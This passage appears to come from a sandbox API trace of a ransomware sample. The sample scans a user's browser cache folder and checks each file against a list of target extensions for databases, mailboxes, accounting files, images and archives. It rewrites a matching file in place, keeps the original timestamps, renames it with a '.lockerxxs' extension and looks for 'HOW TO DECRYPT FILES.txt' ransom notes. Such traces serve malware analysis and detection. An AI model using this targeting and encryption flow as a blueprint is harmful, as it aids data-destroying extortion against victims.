returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.ost") returned 0 [0082.822] lstrlenA (lpString="*.ost") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.idx") returned 0 [0082.822] lstrlenA (lpString="*.idx") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.dbx") returned 0 [0082.822] lstrlenA (lpString="*.dbx") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.sql") returned 0 [0082.823] lstrlenA (lpString="*.sql") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.mdb") returned 0 [0082.823] lstrlenA (lpString="*.mdb") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.fdb") returned 0 [0082.823] lstrlenA (lpString="*.fdb") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.wab") returned 0 [0082.823] lstrlenA (lpString="*.wab") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.dat") returned 0 [0082.823] lstrlenA (lpString="*.dat") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.txt") returned 0 [0082.823] lstrlenA (lpString="*.txt") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.jpeg") returned 0 [0082.823] lstrlenA (lpString="*.jpeg") returned 6 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.jpg") returned 0 [0082.823] lstrlenA (lpString="*.jpg") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.png") returned 0 [0082.823] lstrlenA (lpString="*.png") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.php") returned 0 [0082.823] lstrlenA (lpString="*.php") returned 5 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.cs") returned 0 [0082.823] lstrlenA (lpString="*.cs") returned 4 [0082.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.cpp") returned 0 [0082.823] lstrlenA (lpString="*.cpp") returned 5 [0082.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.rar") returned 0 [0082.824] lstrlenA (lpString="*.rar") returned 5 [0082.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.zip") returned 0 [0082.824] lstrlenA (lpString="*.zip") returned 5 [0082.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.html") returned 0 [0082.824] lstrlenA (lpString="*.html") returned 6 [0082.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.htm") returned 1 [0082.824] lstrlenA (lpString="*.htm") returned 5 [0082.824] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" [0082.824] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" [0082.824] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm." [0082.824] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.lockerxxs" [0082.824] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.826] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x650 [0082.826] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x61be2420, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x61be2420, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x61be2420, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.826] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.826] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x62a, lpOverlapped=0x0) returned 1 [0082.828] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" [0082.828] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.828] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x62a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x62a, lpOverlapped=0x0) returned 1 [0082.828] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.829] CloseHandle (hObject=0xa4) returned 1 [0082.832] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.lockerxxs")) returned 1 [0082.834] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2a0770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf2a0770, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf2a0770, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="adfscript[1]", cAlternateFileName="ADFSCR~1")) returned 1 [0082.834] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.834] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adfscript[1]") returned 1 [0082.834] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adfscript[1]") returned 1 [0082.834] lstrcmpiA (lpString1="", lpString2="adfscript[1]") returned -1 [0082.834] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" [0082.834] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.834] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.834] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.834] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.834] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="adfscript[1]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]" [0082.834] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.ems") returned 0 [0082.834] lstrlenA (lpString="*.ems") returned 5 [0082.834] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.db") returned 0 [0082.835] lstrlenA (lpString="*.db") returned 4 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.dbf") returned 0 [0082.835] lstrlenA (lpString="*.dbf") returned 5 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.myox") returned 0 [0082.835] lstrlenA (lpString="*.myox") returned 6 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.myo") returned 0 [0082.835] lstrlenA (lpString="*.myo") returned 5 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qbw") returned 0 [0082.835] lstrlenA (lpString="*.qbw") returned 5 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qbb") returned 0 [0082.835] lstrlenA (lpString="*.qbb") returned 5 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qbm") returned 0 [0082.835] lstrlenA (lpString="*.qbm") returned 5 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qbo") returned 0 [0082.835] lstrlenA (lpString="*.qbo") returned 5 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qbx") returned 0 [0082.835] lstrlenA (lpString="*.qbx") returned 5 [0082.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qba") returned 0 [0082.836] lstrlenA (lpString="*.qba") returned 5 [0082.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qby") returned 0 [0082.836] lstrlenA (lpString="*.qby") returned 5 [0082.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qbj") returned 0 [0082.836] lstrlenA (lpString="*.qbj") returned 5 [0082.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.ofx") returned 0 [0082.836] lstrlenA (lpString="*.ofx") returned 5 [0082.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.qif") returned 0 [0082.836] lstrlenA (lpString="*.qif") returned 5 [0082.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mye") returned 0 [0082.836] lstrlenA (lpString="*.mye") returned 5 [0082.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mbox") returned 0 [0082.836] lstrlenA (lpString="*.mbox") returned 6 [0082.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.eml") returned 0 [0082.837] lstrlenA (lpString="*.eml") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.pst") returned 0 [0082.837] lstrlenA (lpString="*.pst") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.ost") returned 0 [0082.837] lstrlenA (lpString="*.ost") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.idx") returned 0 [0082.837] lstrlenA (lpString="*.idx") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.dbx") returned 0 [0082.837] lstrlenA (lpString="*.dbx") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.sql") returned 0 [0082.837] lstrlenA (lpString="*.sql") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mdb") returned 0 [0082.837] lstrlenA (lpString="*.mdb") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.fdb") returned 0 [0082.837] lstrlenA (lpString="*.fdb") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.wab") returned 0 [0082.837] lstrlenA (lpString="*.wab") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.dat") returned 0 [0082.837] lstrlenA (lpString="*.dat") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.txt") returned 0 [0082.837] lstrlenA (lpString="*.txt") returned 5 [0082.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.jpeg") returned 0 [0082.838] lstrlenA (lpString="*.jpeg") returned 6 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.jpg") returned 0 [0082.838] lstrlenA (lpString="*.jpg") returned 5 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.png") returned 0 [0082.838] lstrlenA (lpString="*.png") returned 5 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.php") returned 0 [0082.838] lstrlenA (lpString="*.php") returned 5 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.cs") returned 0 [0082.838] lstrlenA (lpString="*.cs") returned 4 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.cpp") returned 0 [0082.838] lstrlenA (lpString="*.cpp") returned 5 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.rar") returned 0 [0082.838] lstrlenA (lpString="*.rar") returned 5 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.zip") returned 0 [0082.838] lstrlenA (lpString="*.zip") returned 5 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 